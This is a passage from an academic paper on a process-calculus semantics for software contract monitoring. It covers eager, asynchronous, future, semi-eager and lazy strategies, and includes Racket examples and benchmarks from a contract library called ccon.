Taken to its logical extreme, this approach would reduce to man-
ually implementing the call-by-value, call-by-name, and call-by-

need λ-calculi and their interactions using explicit channels and
processes [31]. These encodings would allow any pattern of inter-
action between the user evaluator and the monitor, but they would
come at a heavy price: every λ-expression would be expressed as
a process and each application would encode the desired behavior
as a pattern of communication between the procedure and argu-
ment processes. The pure λ-calculus sublanguage would evaporate,
yielding a process-based calculus.

This extreme approach is incompatible with our goals of ex-
plaining, integrating, and implementing existing contract systems
into existing languages with our approach. Even a less-extreme ap-
proach would require intrusive changes to add synchronous behav-
ior in the user program. Instead we add delay and force facilities
to provide “enough” control over the critical portions of evalua-
tion without requiring substantial modification to user programs.
Monitoring strategies can use delay to suspend the evaluation of λ-
expressions, and user programs must explicitly use force to evalu-
ate these suspended expressions. As we illustrate in Sec. 7, wherein
we introduce our Racket implementation and use it to write sev-
eral contracts, these occurrences of force are not overly intrusive.
Furthermore, force may be removed if the language has sufficient
support to automatically force values during runtime [21].

The need for force seems to imply greater inconvenience for
programmers, compared to existing contract systems which al-
low the result of contract monitoring to be used directly. How-
ever, this seeming convenience relies in most cases (such as con-
tract systems for Racket or Haskell) on only allowing strategies
which fit precisely with the underlying language evaluation se-
mantics. Instead, we allow programmers to choose between strate-
gies without requiring changes to the underlying evaluation se-
mantics. Only when there is a mismatch between the monitoring
strategy and the evaluation, as in a call-by-value language with
semi monitoring, is manual control over evaluation with force
needed. Dimoulas et al. [10] present a call-by-value calculus with
future monitoring without delay and force, but only ever execute
flat predicate contracts in parallel. Furthermore, they manually add
synchronization—equivalent to force—at effect points. They sug-
gest that this could be implicitly performed by the runtime system,
just as implicit forcing could be added.

While integral to the inner workings of semi and future,
delay and force are straightforward to define with the communi-
cation and process facilities in λCC (Figure 4). The evaluation of
delay e proceeds as follows: we construct a pair of new channels ι1
and ι2, spawn a process pr that immediately blocks reading from
ι1, and then return a delay a delay reference d, a tagged pair of ι1
and ι2.

If d is never used, process pr remains blocked and the expres-
sion e that was delayed is never evaluated. A process pf having
access to d may force the evaluation of e as follows: we write unit
to ι1 and then block reading from ι2 taking care to handle the pos-
sible error value.

The write action of pf on ι1 awakens pr . The process pr eval-
uates e and writes the resulting value on ι2. Process pr then repli-
cates itself via rep/D, ensuring further forces of the same delay
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reference produce the same value without re-evaluation. Finally, It
is possible that e will raise an exception, and so the value written
to ι2 is tagged to indicate when this has occurred.

Finally, applying force to any value which is not a delay-
reference returns the value unchanged. This operation is a matter
of programmer convenience: a function λx. x + 1 can only be
monitored by contracts whose preconditions do not build delay ref-
erences, e.g., preconditions that use eager. Using strategies like
semi in the precondition would attempt to invoke addition on a
delay reference. In contrast, the function λx. force x + 1 can
be used with any strategy for the precondition contract whether it
builds a delay reference or not.

4. Contract Monitoring with Processes
We now construct the monitoring behaviors characterized in Sec. 2,
presenting the underlying semantics for check to describe the
many-strategy monitoring system for λCC. This semantic model,
presented in Figure 5, explicitly encodes each monitoring strategy
as a pattern of process communication, illustrating their subtle and
precise differences.

Eager Monitors. The eager approach to contract monitoring
closely matches the CPCF calculus described by Dimoulas et al.
[11], where every contract is checked at assertion time. These
checks are modeled as immediate interactions between processes,
as presented in Figure 1. Consider a further diagram where the
monitor produces an error:

check nat/c eager (+ 2 -3)

catchM (read ι) id

raise b

write ι (catch injr (injl (nat/c (+ 2 -3) b)))

write ι (inr raise b)

This behavior is encoded via the process effect operators in λCC in
the eager definition of check (see Figure 5). To demonstrate this
interaction, consider the running example of enforcing the contract
nat/c4:

〈0,U | check nat/c eager v b〉
⇒∗ 〈0,U | catchM (read ι) id〉

+〈1,M | write ι (catch injr (injl (nat/c v b)))〉
When v := 5, the computation proceeds as:

⇒∗ 〈0,U | catchM (read ι) id〉 +〈1,M | write ι (inl 5)〉
⇒∗ 〈0,U | catchM (inl 5) id〉
⇒∗ 〈0,U | 5〉

When v := -1, the computation proceeds as:
⇒∗ 〈0,U | catchM (read ι) id〉 +〈1,M | write ι (inr b)〉
⇒∗ 〈0,U | catchM (inr b) id〉
⇒∗ 〈0,U | raise b〉

Here check immediately constructs the communication channel
ι and the monitoring process. The initiating process performs a
blocking read across ι while the monitoring process checks the
contract with the monitored value. The result of the contract is
handled by injecting values to the left and exceptions to the right
before writing them to the initiating process. Finally, the initiating
evaluator processes the result with catchM, continuing with the
value or re-throwing the exception.

Asynchronous Monitors. The asynchronous approach to con-
tract monitoring consists of stand-alone monitors that perform
“best-effort” checking: if the monitor is not finished when the user
program is complete, then the entire program produces the user-
program answer and discards the incomplete monitor, as presented

4 We elide K in our examples for simplicity of presentation.

in Figure 1. Consider a further diagram where the monitor produces
an error:

check nat/c async (+ 2 -3)

(+ 2-3) nat/c (+ 2 -3 b)

b

With explicit processes, this monitoring strategy is straightforward,
as implemented in Figure 5. When invoked, check spawns an asyn-
chronous process to perform the check; there is no additional syn-
chronization except for possible termination of the configuration
in the event of an error. When the monitor is complete, the asyn-
chronous process terminates with either a value v or an exception
raise v. This lack of synchronization can produce non-deterministic
results for asynchronous monitoring:

∅; 〈0,U | id (check nat/c async -1 b)〉
⇒∗ {ι}; 〈0,U | id -1〉+〈1,A | (nat/c -1 b)〉
⇒∗ {ι}; 〈0,U | -1〉 +〈1,A | (nat/c -1 b)〉
⇒∗ {ι}; done -1

⇒∗ {ι}; 〈0,U | id -1〉+〈1,A | (nat/c -1 b)〉
⇒∗ {ι}; 〈0,U | · · ·〉 +〈1,A | raise b〉
⇒∗ {ι}; 〈1,A | raise b〉
⇒∗ {ι}; done (raise b)

Even with this potential non-determinism, asynchronous contracts
can provide a reasonable alternative to completely verifying con-
tracts over large structures.

Future Monitors. Originally posed by Dimoulas et al. [10], fu-
ture contracts check contracts concurrently during program execu-
tion, synchronizing only when necessary for the program to con-
tinue. Dimoulas et al. [10] perform this synchronization at all pro-
gram side effects; we instead synchronize when the value is de-
manded. The implementation of future monitoring follows eager
monitoring, but delays the receipt of the resulting value until it is
needed (Figure 5). The consumer of the contracted value can force
the future at any time, at which point the blocking nature of read
will halt the current process until contract checking is complete.
Returning to our example, evaluation proceeds as follows:

〈0,U | force (check nat/c future 5 b)〉
⇒∗ 〈0,U | force (delay (catchM (read ι) id))〉+
〈1,M | write ι (catch injr (injl (nat/c 5 b)))〉

⇒∗ 〈0,U | force drefι2,ι3〉+
〈1,M | write ι (catch injr (injl 5))〉+ 〈2,A | · · ·〉

⇒∗ 〈0,U | catchM (read ι3) id〉+
〈1,M | write ι (inl 5)〉+ 〈2,A | · · · read ι · · ·〉

⇒∗ 〈0,U | catchM (read ι3) id〉+ 〈2,A | · · · write ι3 (inl 5) · · ·〉
⇒∗ 〈0,U | 5〉+ 〈2,A | · · ·〉

The derivation corresponds to the enforcement process presented
in Future Monitoring in Figure 1: the check form constructs two
new processes, colored red and blue, that collectively provide the
monitoring future. The third, fourth, and fifth steps correspond to
the synchronizations that take place in Figure 1, first between the
user and delay processes, then the monitor and delay processes,
and finally the user and delay processes again. The derivation ends
with the monitoring process removed from the configuration and
the user process continuing with the monitor result.

Semi-Eager Monitoring. Semi-eager monitoring [5–8, 22] de-
lays contract checking until the checked value is demanded, an
approach that appears naturally when Findler-Felleisen-style are
recreated in lazy languages such as Haskell [5, 7, 22]. The imple-
mentation of semi-eager monitoring mirrors future monitoring, ex-
cept that the contract expression is delayed instead of the user con-
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check c eager e b→ chan (λi. seq (spawn M (write i (catch injr (injl (c e b))))) (catchM (read i) id))
check c future e b→ chan (λi. seq (spawn M (write i (catch injr (injl (c e b))))) (delay (catchM (read i) id)))
check c semi e b→ chan (λi. seq (spawn M (write i (catch injr (injl (delay (c e b)))))) (catchM (read i) id))
check c async e b→ seq (spawn A (c e b)) e

Figure 5. Small-step semantics for the contract monitoring mechanism in λCC.

sumption form (Figure 5). Returning again to our example, evalua-
tion proceeds as follows:

〈0,U | force (check nat/c semi 5 b)〉
⇒∗ 〈0,U | force (catchM (read ι) id)〉+
〈1,M | write ι (catch injr (injl (delay (nat/c 5 b))))〉

⇒∗ 〈0,U | force (catchM (read ι) id)〉+
〈1,M | write ι drefι2,ι3〉+ 〈2,A | · · ·〉

⇒∗ 〈0,U | force drefι2,ι3〉+ 〈2,A | seq (read ι1) · · ·〉
⇒∗ 〈0,U | catchM (read ι2) id〉+
〈2,A | let x = catch injr (injl (nat/c 5 b)) in · · ·〉

⇒∗ 〈0,U | catchM (read ι2) id〉+
〈2,A | seq (write ι2 (inl 5)) (rep/D ι1 ι2 (inl 5))〉

⇒∗ 〈0,U | 5〉+ 〈1,A | rep/D ι1 ι2 (inl 5)〉
When the resultant delay reference is forced, the initiating process
signals the delay reference to perform the monitoring operation.
The delay reference process returns the result of the contract en-
forcement via the correct injection, facilitating communication be-
tween the user evaluator and the delayed monitor.

5. Contract Combinators
As we have seen, a contract is a procedure that accepts a value and
a blame tuple and produces a checked version of the value, raising
the appropriate exception on failure. In a higher-order language, we
can abstract over these contracts, producing a library of contract
combinators written with check in λCC. Remarkably, λCC contracts
look syntactically similar to existing combinator implementations,
since these abstractions do not need to interact with the low-level
communication semantics of check. The simplest contract combi-
nator, pred/c, checks a predicate on the monitored value. More so-
phisticated contract combinators reuse the check form to enforce
subcontracts on subcomponents of their input (see Figure 6).

Predicate Contracts. Predicate contracts, constructed with pred/c,
follow directly from our previous description. The combinator
pred/c takes a predicate c as input and produces a contract that
expects a value x and blame tuple b as input. When this procedure
is invoked, we evaluate the expression

if c x then x else raise b

Here, x is the monitored value, c is the monitoring predicate, b is the
responsible party. This expression is evaluated when the contract is
enforced as (c e b) in Figure 5, returning the value on success or
raising the blame tuple as an exception on failure.

Pair Contracts. As discussed in Sec. 2, pairs use two subcontracts
with their associated strategies for each of the left and right sub-
components. The pair combinator constructs the contract in terms
of its subcontracts, monitoring each on the appropriate subcompo-
nent of the pair with check as:

(check c1 s1 (fst p) b, check c2 s2 (snd p) b)

Here p is the monitored pair, c1 and s1 are the contract and strategy
for the first element, and c2 and s2 are the contract and strategy
for the second element. The contract decomposes the pair into its
sub-pieces when the monitoring strategy specifies to do so, and
construct a new pair via check, which is returned to the initiating
(or demanding) location.

Function Contracts. Function contracts, constructed with func/c
in Figure 6, take two contracts and strategies which indicate the pre-
and post-condition and their strategies. The result is a procedure

pred/c
∆
= λc. λx b. if c x then x else raise b

pair/c
∆
= λc1 s1 c2 s2.

λp b. (check c1 s1 (fst p) b, check c2 s2 (snd p) b)

func/c
∆
= λc1 s1 c2 s2.

λf b. λx. check c2 s2 (f (check c1 s1 x (inv b))) b

func/dc
∆
= λc1 s1 g s2.

λf b.
λx. check (g (check c1 s1 x (ind b))) s2

(f (check c1 s1 x (inv b))) b

Figure 6. Contract combinators for λCC.

that expects some function f and the appropriate blame labels.
When invoked, the combinator constructs the function:

λx. check c2 s2 (f (check c1 s1 x (inv b))) b

Here f is the monitored function, x is that function’s input, c1 and
s1 are the contract and strategy for the pre-condition, and c2 and s2

are the contract and strategy for the post-condition. We also use the
blame operator inv, which inverts the pre-condition blame labels
to ensure correct blame [11]. Dependent functions follow directly5,
using ind to construct the indy label structure.

6. Metatheory
We briefly sketch out two metatheoretical aspects of our system:
the type system and an embedding of the original contract system
presented by Findler and Felleisen [16].

Typing the Contract Calculus. We sketch the type system for
λCC, using the type grammar in Figure 7. The typing rules are
standard: delay e and force e share the type of e. The raise form
may be given any type.

We define con τ as an abbreviation for contract types with the
shape discussed previously: The contract shorthand enforces the
contract shape discussed previously: a contract takes its input and
blame labels, returning the original type τ . The strategy types σ are
as expected: eager is typed as eager and so forth. The check form
takes a contract of type con τ , a strategy of type σ, a monitored
expression of type τ , and a blame set of type blame, returning a
value of type τ 6.

Communication requires types for channels, which are included
in an additional type environment ∆ over K;P . A process config-
urations is well-typed up to deadlock if each process term is made
up of well-typed subterms, and each process is well-typed if the
underlying λ-calculus expression is also well-typed.

Theorem 6.1. For any well-typed configurationK;P , either:K;P
is in a well-typed halt state; there exists some well-typed configu-
ration K′;P ′ such that K;P ⇒ K′;P ′; or K;P is in a stuck state
S, which include configurations where a monitoring process has
raised an exception or is otherwise blocked, or all processes are

5 The dependent function combinator uses the same strategy for both en-
forcements of c1, but it is possible to vary this strategy between them.
6 Explicitly typing delay references requires a type-level metafunction that
uses the strategy’s type to calculate the final type of a contract.
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τ := int | bool | str | error | ()
| τ → τ | τ × τ | τ + τ | chan τ | con τ | σ

σ := eager | seager | future | async
blame

∆
= str× str× str

con τ
∆
= τ → blame→ τ

check
∆
= con τ → σ → τ → blame→ τ

Figure 7. Typing grammar for λCC.

either blocked on communication that may not be further reduced
by SYNC or have delay references is usage positions.

Correctness of Encoding. We demonstrate that our semantics
faithfully recreates the original semantics provided by Findler and
Felleisen’s Contracts for Higher-Order Functions [16]. We choose
this semantic model for two reasons: first, this semantics has been
widely accepted and rigorously verified, and second, the subtleties
of less-eager monitoring approaches vary whereas the semantics of
eager monitoring is well-accepted. Furthermore, this embedding is
one-way: while it may be possible to recover the exact commu-
nication structure of every collection of processes [26], it is not
worthwhile or insightful. Finally, Findler and Felleisen [16] use lax
monitoring for dependent monitors (as discussed by Dimoulas et al.
[11]), and thus we omit them.

Theorem 6.2. If c is an expression in FF , the original semantics
presented by Findler and Felleisen [16], then there is some context
P ∈ FF such that c = P [c′] and a translation function T (P, c′) :
FF → λCC such that either:

1. if P [c′] 7→∗ v, then T (P, c′)⇒∗ done v;
2. ∀n. if P [c′] 7→∗ exn p, then T (P, c′)⇒∗ done (raise b) where
b = (p, n).

Proof. We assume that Findler and Felleisen’s I operator has al-
ready been run on the input c, which performs obligation insertion,
or, more simply, inserts the contracts provided by the outer val rec
binding form into the main expression. We proceed by “recoloring”
the if expressions in c, indicating whether they were constructed by
a contract monitor or not. We also explicitly mark contract forms
containing values as value forms in the language to ease transla-
tion. Monitoring flat contracts will now produce something of the
form ifc e1 e2 e3. The proof proceeds by induction on the length
of 7→∗, where we we define a handful of translation functions such
that T (P, c′) = F (g(P ), f(c′))) where

f(c′) = ((C,K), e)
g(P ) = ((C,K), E)

such that

F (((C′,K′), E), ((C,K), e)) = K′ ∪ K; C′[C[E[e]]]

We only present one case in full:
Case: P [V

contract(V2),p,n
1 ] 7→ P [ifc (V2 V1) V1 (blame p)]:

We perform the following translations:
f(V1) = ((Cv1 ,Kv1 ), v1)
f(V2) = ((Cv2 ,Kv2 ), v2)

c = λx b. if v2 x then x else raise b
f(contract(V2)) = ((Cv2 ,Kv2 ), c)

f(p) = ((Cp,Kp), pcc)
f(n) = ((Cn,Kn), ncc)

fblame(p) = b

Then f(V contract(V2),p,n
1 ) = ((P1,K1), e1) where:

e1 = check c eager v̂1 b
P1 = Cv1[Cv2[�]]
K1 = Kv1 ∪ Kv2

Then let ιv1 be a unique channel and f(ifc (V2 V1) V1 (blame p)) =
((P2,K2), e2) where:
e2 = catchM (read ιv1 ) id
P2 = Cv1 [Cv2[�+ 〈n,M | write ιv1 (catch injr (injl (c v1 b)))〉]]
K2 = Kv1 ∪ Kv2 ∪ {ιv1}

Then we compute g(P ) = (CP ,KP ).
Finally, let C = CP [Cv1 [Cv2 [�] and K = Kv1 ∪Kv2 ∪KP Therefore:

F ((CP ,KP ), ((P1,K1), e1))
= K; C[check c eager v̂1 b]
⇒∗ K ∪ {ιv1}; C[[catchM (read ιv1 ) id]+

〈n,M | write ιv1 (catch injr (injl (c2 v1 b)))〉]
F ((CP ,KP ), ((P2,K2), e2))

7. Implementation and Advanced Monitors
In a language (e.g., Racket [19]) with the right infrastructure (syn-
tactic extension, processes, exceptions, and communication prim-
itives), λCC can be realized as a library in less than 100 lines of
code7. We elide the exact implementation details; they follow di-
rectly from the previous semantics. Each strategy is represented
by an instance of a Racket structure, the contract combinators and
blame facilities are provided as procedures, and check is provided
as a syntactic transformer:

(define-syntax checkCon
(syntax-rules ()

[( c s e b)
(cond [(eager-strat? s) ...]

[(semi-strat? s) ...]
[(future-strat? s) ...]
[(async-strat? s)
(begin (thread (λ () (c e b))) e)])]))

We now use this implementation, called ccon, to demonstrate the
extensibility of our system, from simple contracts to additional
contract combinators for structural contracts over trees [18]. We
start with small examples:

> (checkCon nat/c eager 5 b)
5
> (checkCon nat/c eager -1 b)
Exception: ...
> (checkCon nat/c semi 5 b)
#<promise ...>
> (force (checkCon nat/c future 5 b))
5

These calls are as expected, corresponding to our earlier examples
in Sec. 2 and Sec. 4. The result of the third and fourth contract
demonstrate the underlying usage of Racket’s delay for semi-eager
and future strategies. (Here b is a blame structure with Server,
Contract, and Client labels.)

7.1 Tree Contracts in ccon

To demonstrate the expressive power of ccon (and thus λCC), we
next construct a tree data structure and define contract combinators
for the structure. We define a tree structure as node in Figure 8,
where a tree is either a null value, (), or a node containing a value
and left and right subtrees.

We also define the tree contract combinator treerec/c, a recur-
sive combinator which reuses itself on its left and right subtrees.
This procedure determines if the current node is a leaf or internal
node and then constructs the appropriate monitor. We can use this
contract to enforce tree-wide invariants, such as ensuring that every
value is a natural number:

(define nat-tree-E (tree/c nat/c eager eager nat/c eager))
> (checkCon nat-tree-E eager (make-node ...) b)

7 https://github.com/cgswords/ccon
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(struct node (left value right))

(define (treerec/c c1 s1 s2 c3 s3)
(letrec

((treec
(λ (t b)

(match t
[(node l v r) (let ([nv (checkCon c3 s3 v b)]

[nl (checkCon treec s2 l b)]
[nr (checkCon treec s2 r b)])

(node nl nv nr))]
[v (checkCon c1 s2 v b)]))))

treec))

(define ((tree/dc c1 s1 c2 s2 c3 s3 c4 s4) t b)
(match t

[(node l v r) (let* ([nv (checkCon c3 s3 v b)]
[nl (checkCon (c2 nv) s2 l b)]
[nr (checkCon (c4 nv) s4 r b)])

(node nl nv nr))]
[v (checkCon c1 s2 v b)]))

Figure 8. Tree contracts in Racket with ccon.

We can also use this contract as a pre-condition to a procedure
such as get-root-value, which returns the root value of any tree t:

> (get-root-value t)
5
> (checkCon (func/c nat-tree-E eager nat/c eager) eager t b)
5

The first invocation inspects the root node of the tree, returning the
value. Conversely, the second invocation traverses the entire tree
structure, enforcing the precondition contract before extracting the
value from the root node. To recover the original complexity, we
can use the solution presented by Findler et al. [18], rewriting nat
-tree-E with semi-eager strategies. However, unlike Findler et al.,
we have a fine-grained decision to make: shall we eagerly or semi-
eagerly enforce the value contract? Eager value checking, nat-tree
-S1 below, ensures that any node we inspect will have a natural
number in the value position. Conversely, full semi-eager checking,
nat-tree-S2 below, will only verify that values are natural numbers
when the program demands them.

(define nat-tree-S1 (tree/c nat/c eager semi nat/c eager))
(define nat-tree-S2 (tree/c nat/c eager semi nat/c semi))

> (get-root-val (checkCon nat-tree-S1 eager t b))
5
> (get-root-val (checkCon nat-tree-S2 eager t b))
#<promise ...>

Neither of these solutions is “more correct”: both encodings re-
cover the original complexity of get-root-val, and the divergence
demonstrates the precise power of explicit monitoring strategies.
Furthermore, this change is syntactically insignificant: a program-
mer might try both out to select the most appropriate approach.

7.2 Advanced Contracts in ccon

There are a family of contracts that cannot benefit from the pre-
vious optimization, which include contracts that require upward
value propagation through monitored structures [18], or more gen-
erally, collections of contracts that collaborate to establish global
invariants. For example, one may try to ensure that a binary tree
is full, i.e., that there are 2n nodes in the tree if the height of the
tree is n. Implementing this predicate is straightforward, travers-
ing the entire tree, but this once again requires visiting every node.
Alternatively, we might construct a dependent tree contract combi-
nator wherein the left and right subtrees are passed into the value
predicate, but Findler et al. [18] observe that these subtrees must be

(define (full/a i)
(let ([il (make-channel)]

[ir (make-channel)])
(treedc

(pred/c (λ (n) (begin (channel-put i 0) #t))) eager
(λ ( ) (full/a il)) semi
(pred/c

(λ (n)
(let ([hr (sync (choice-evt ir il))]

[hl (sync (choice-evt ir il))])
(if (= hl hr)

(begin (channel-put i (add1 hl)) #t)
#f))))

async
(λ ( ) (full/a ir)) semi)))

Figure 9. The implementation of full as a callback-based contract.

evaluated to verify the contract, and thus recreate the same asymp-
totic violations. They go on to propose an alternative solution us-
ing attributes [19] to track height information on the tree as it is
explored, relying on the user evaluator to produce an invasive en-
forcement mechanism with amortized bounds. This approach is not
currently part of the Racket contract system.

We can develop a similar solution in ccon using callbacks: we
postpone checking any contract until its subcontracts have been
checked by using channels within asynchronous contracts. While
complex in concept, the only additional facility we require is the
ability to create, propagate, and synchronize with new channels of
communication, which both λCC and Racket provide as low-level
operations. Thus the adventurous contract writer might implement
this callback-oriented approach to fullness as in Figure 9. Further-
more, this solution lives entirely in the contract system: the user is
never exposed to it beyond using force.

Each invocation of the contract is parameterized by a communi-
cation channel i, which indicates where to write the current node’s
height. At each leaf, the predicate writes 0 to i and succeeds. At
internal nodes, we create two additional channels, il and ir, to pass
to the left and right subtrees respectively. Next we assert (full/a il)
and (full/a il) on the appropriate subtrees, utilizing the delaying na-
ture of lambda abstraction to prevent divergence. These contracts
are semi-eagerly monitored, and thus will not be enforced until the
subtrees are demanded by the program8. Finally, we create an asyn-
chronous monitor for the node’s value which performs blocking
reads from il and ir. The results of these reads are the heights of the
left and right subtrees, so we verify they are equal, and either write
the new height across i, triggering the parent node’s fullness test, or
signal a contract violation. This communication chain allows each
contract to propagate values upward from the leaves as the tree is
explored, as indicated with upward-pointing arrows in Figure 10.

Such a contract is only possible after full separation of the mon-
itor evaluator from the user evaluator and exposing communica-
tion tools to contract writers, facilitating contract enforcement in a
custom-crafted traversal of the monitored structure.

7.3 Results
We briefly evaluate the performance of full/a against the eager
fullness contract presented by Findler et al. [18] using a set of
microbenchmarks. We use ccon to implement full/a as in Figure 9,
and the eager fullness contract is constructed in Racket’s native
system as follows:

(define full/c (flat-named-contract 'full/c full?))

8 If we used eager in place of semi, this contract would revert to an eager,
O(2n) check at assertion time.
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Figure 10. Evolution of contract checking during tree traversal for a full binary tree using asynchronous callbacks.

Figure 11. Timing results for full tree contract verification in
Racket’s built-in contract system versus our semi-eager approach.
Experiments were performed on a MacBook Air with a 1.3 GHz
Intel Core i5 and 4GB of RAM.

Next we set up the following experiment: for trees of size 1 to 224,
we first enforce one of the contracts on the tree and then perform a
single element lookup. This lookup occurs inO(logn) time, and so
the bulk of the computational work in the Racket-primitive contract
will consist of enforcing the fullness contract, while the bulk of
the work in enforcing full/a occurs in the process and channel
construction overhead incurred during execution.

We repeat this test 100 times for each data-point and graph the
arithmetic means in in Figure 11. The x-axis represents the size of
the tree as a function of 2n and the y-axis is a logarithmic scale in
seconds. The orange line, Built-In, indicates that the eager contract
run with Racket’s built-in monitoring facilities provides excellent
performance for small tree structures but slows down exponentially
as the tree increases exponentially in size. Conversely, the blue line,
CCON, indicates that the full/a implementation in ccon slowly only
slightly as longer traversals require increasingly large numbers of
processes and channels.

Our results support our initial discussion of performance recov-
ery. Furthermore, the Racket contract system has been heavily op-
timized for performance [33] and the competitive results of ccon
indicate that the process communication model of λCC is a viable
approach to contract monitoring.

8. Sketches of Additional Monitoring Strategies
We present sketches of implementations for four strategies that
appear in the literature: lazy monitors, temporal monitors, future
monitors in the style of Dimoulas et al., and statistical monitors.

Lazy Contracts. Degen et al. [7, 8] introduce the idea of lazy
monitors, which entirely avoid any aspect of over-evaluation. For
example, checking a predicate on a pair will not force the pair; the
monitoring evaluator will wait for the user evaluator to force the
pair. If the pair is never used, in full, in the user program, then the
monitor will never check it. Modeling lazy monitoring as commu-

check ord/c lazy (6, 5) b

drefι1,ι2

(seq
(write ι1 unit)
(read ι2))

(drefι4,ι5, drefι7,ι8)

(b1, b2)

b1 : 5 b2 : 6

ord/c `ι3

· · · read ι3 · · ·

· · · (`ι6, `ι9) · · ·

Figure 12. Lazy contract communication [8].

nication across processes demonstrates its intrusive interaction with
the main evaluator.

To facilitate this user-driven monitoring, we must construct a
layer of indirection for both evaluators such that the user evaluator
may force any expression under a lazy monitor and the lazy moni-
tor will postpone contract enforcement until this forcing occurs. We
accomplish this by recursively parsing the input expression e, yield-
ing yield two new expression ed and e`. The first, ed, is an expres-
sion constructed from delay references wrapped around each com-
ponent and sub-component in the original expression. Similarly,
e` is constructed identically using lazy monitor references of the
form `ι. Each delay reference works in the usual way, except that it
will also notify the associated lazy monitor reference when forced.
When evaluated, lazy monitor references perform blocking reads,
proceeding only when the associated delay reference is forced and
provides the appropriate value. The structure of this communica-
tion is presented in Figure 12. This approach closely mirrors the
implementation provided by Degen et al. [8], wherein individual
call-by-need cells register callbacks for contract monitors.

Temporal Contracts. Disney et al. [13] introduce the concept of
temporal monitors, which capture module interactions as a trace of
events such as function calls and returns. They formalize this ap-
proach by treating each module in the program as a process and
storing the process trace of sends and receives between these mod-
ules as the program proceeds. Finally, the monitoring system ver-
ifies that this trace conforms to certain prefix-closed predicates,
constraining the behavior of each module and producing an error
if this trace violates these predicates. Our approach differs by using
individual processes for each monitor. We explicitly enforce predi-
cates on values and control how processes communicate to replicate
monitoring strategies, omitting the need to preserve process traces.
Such traces, however, may be used to ensure that monitor strategies
correctly adhere to their semantic descriptions.

This system may be constructed in λCC by recreating the orig-
inal approach, using a mediator process to capture process traces.
Any communication events will move through this mediator, and
the process will log the events. Temporal contract assertions will
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register predicates with this mediator process, which will use these
predicates to ensure the traces adhere to the correct shape. Such a
mediator must also provide the guarantees outlined by Disney et al.
[13], including information capture and correct error propagation.

Future Contracts à la Dimoulas et al. Dimoulas et al. [10]
present an alternate model of future contracts that use a master
user process and a slave monitoring process, delegating predicate
enforcements to the slave process and synchronizing with it when
the master performs effects such as reference manipulation and I/O.

This system may be constructed in λCC using a secondary global
process that acts as the slave process. Any monitors with the appro-
priate strategy are provided to this slave process, which adds the
monitor to a list of active checks. To maintain synchronous com-
munication, it may be convenient to establish the slave as two pro-
cesses: one to receive new monitoring requests and synchronize
with the user process during synchronization events, and another
“worker” process that polls the synchronization process for a mon-
itor, performs it, and provides the synchronization process with the
result before looping. Then, as Dimoulas et al. [10] observe, each
effectful operation is wrapped in a proxy procedure that synchro-
nizes with the slave process before executing. This synchronization
mechanism would elide the need to implicitly invoke force.

Statistical Software Contracts. Dimoulas et al. [12] describe the
notion of randomly checked function contracts. In lieu of iterating
over the entire input space for a function, it is possible to use a spot
checker [14] to obtain partial assurance of a contract by generating
and testing a series of inputs. For flat and structural contracts, this
approach may randomly verify its contracts: that is, the contract
may (or may not) be enforced as evaluation proceeds.

Given a random-generation mechanism and a spot-checker, λCC

may be extended to support this type of soft guarantee: predicate
and structural contracts will use a random number generator to
decide which, if any, contracts to enforce, and the full spot-checker
will generate sample inputs to contracted functions. This approach
induces a secondary extension to λCC: while statistical guarantees
may receive their own strategy, it is more natural to introduce a
strategy combinator that will take an existing strategy (such as
eager or semi) and modify it to preserve the original enforcement
strategy while performing probabilistic contract enforcement.

9. Related Work
Eiffel [25] first popularized software contracts and the idea of writ-
ing programs with pervasive contract checking. Eiffel introduced
a number of theoretical and semantic concepts that have since in-
duced a large body of research, including the underlying theoretical
foundations [4, 15, 16], language integration with existing seman-
tics [1, 6–8, 11, 19, 20, 22]. Degen et al. [7, 8] present descriptions
of eager, semi-eager, and lazy monitors; we have characterized the
first two precisely and sketched the third in this paper.

Dimoulas and Felleisen [9] address different approaches to
monitoring through observational equivalence, relying on these
observations to discuss when and how contracts affect the under-
lying program. They reconstruct contract satisfaction from these
principles, introduce the concept of a shy contract (which are sim-
ilar to lazy monitoring as sketched in the previous section), and
propose a classification for contracts based on contract satisfaction
and observational equivalence. Most of the monitors that we de-
scribe in this paper fall in a spectrum between loose and shy-loose
run-time checking; the async strategy is an exception, since it can
non-deterministically behave either like future, eager, or like no
monitoring at all. We do not formally consider contract satisfac-
tion or observational equivalence, but future work might explore
reconstructing these results in our semantics.

A variety of alternative semantic models exist, primarily focus-
ing on the original notion of eager contract monitoring [4, 15, 17].
We follow Findler and Felleisen [16] in defining a contract system
rather than a model of contract satisfaction.

Multiple approaches to blame assignment, particularly in the
case of dependent function contracts, have been proposed [11, 20],
resulting in the definition of complete monitoring [11]. Since our
contract combinators are library functions, we can provide any
blame assignment approach (e.g. lax, picky, and indy). Proving
complete monitoring in λCC remains future work.

10. Conclusion and Future Work
We present a unifying perspective on the semantics of contract
monitoring, wherein myriad semantic approaches and contract
combinators can be characterized by translation into a straight-
forward process calculus. This approach captures multiple existing
approaches to contract monitoring and introduces several new ones.
We also present a unified source language in which programmers
may select strategies on a per-contract basis, rather than the current
status quo where the choice is fixed by the contract system designer.
Furthermore, we propose that λCC is a suitable target for new con-
tract monitoring approaches, providing a extensible interpretation
of the interactions between contracts, contract monitors, and user
programs. Finally, we demonstrate how the runtime framework can
be leveraged to express contracts inexpressible in existing systems,
focusing on upward-propagating delayed contracts for binary trees.

In the future we hope to investigate how the formal seman-
tics translates into existing process-oriented languages such as Er-
lang [2], explore the design space of strategies and strategy com-
binators, and investigate if proofs of complete monitoring [11] can
be carried out in our system.
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A. Summary of Forms
This appendix provides a short description of the uncommon
calculus operations we use in the paper, along with the figures
where they are defined.

Library Definitions
• pred/c : (τ → bool)→ con τ

Constructs a predicate contract from a predicate, using raise
(see Figure 6).

• pair/c : τ1 → σ → τ2 → σ → con (τ1 × τ2)
Constructs a pair contract from two subcontracts and their
strategies using invocations of check (see Figure 6).

• func/c : τ1 → σ → τ2 → σ → con (τ1 → τ2)
Constructs a function contract from two subcontracts and their
strategies using invocations of check (see Figure 6).

User Contract System
• check : con τ → σ → τ → τ

Performs monitoring using the provided strategy; this is con-
structed as a “language macro” from spawn, catch, read, write,
delay, and chan (see Figure 5).

• force : τ → τ
Forces the expression; this is constructed as a procedure that
inspects its input, forcing it in the case of a delay reference and
returning the value of its input otherwise (see Figure 4).

• raise : τ → τ
Raises its input as an exception; this operation is built into the
core calculus (see Figure 3).

Communication
• chan : (chan τ → τ)→ τ

Creates a new channel and passes it as the input to chan’s
argument; this operation is built into the core calculus (see
Figure 3).

• read : chan τ → τ
Synchronously reads a value from the provided channel; this
operation is built into the core calculus (see Figure 3).

• write : chan τ → τ → ()
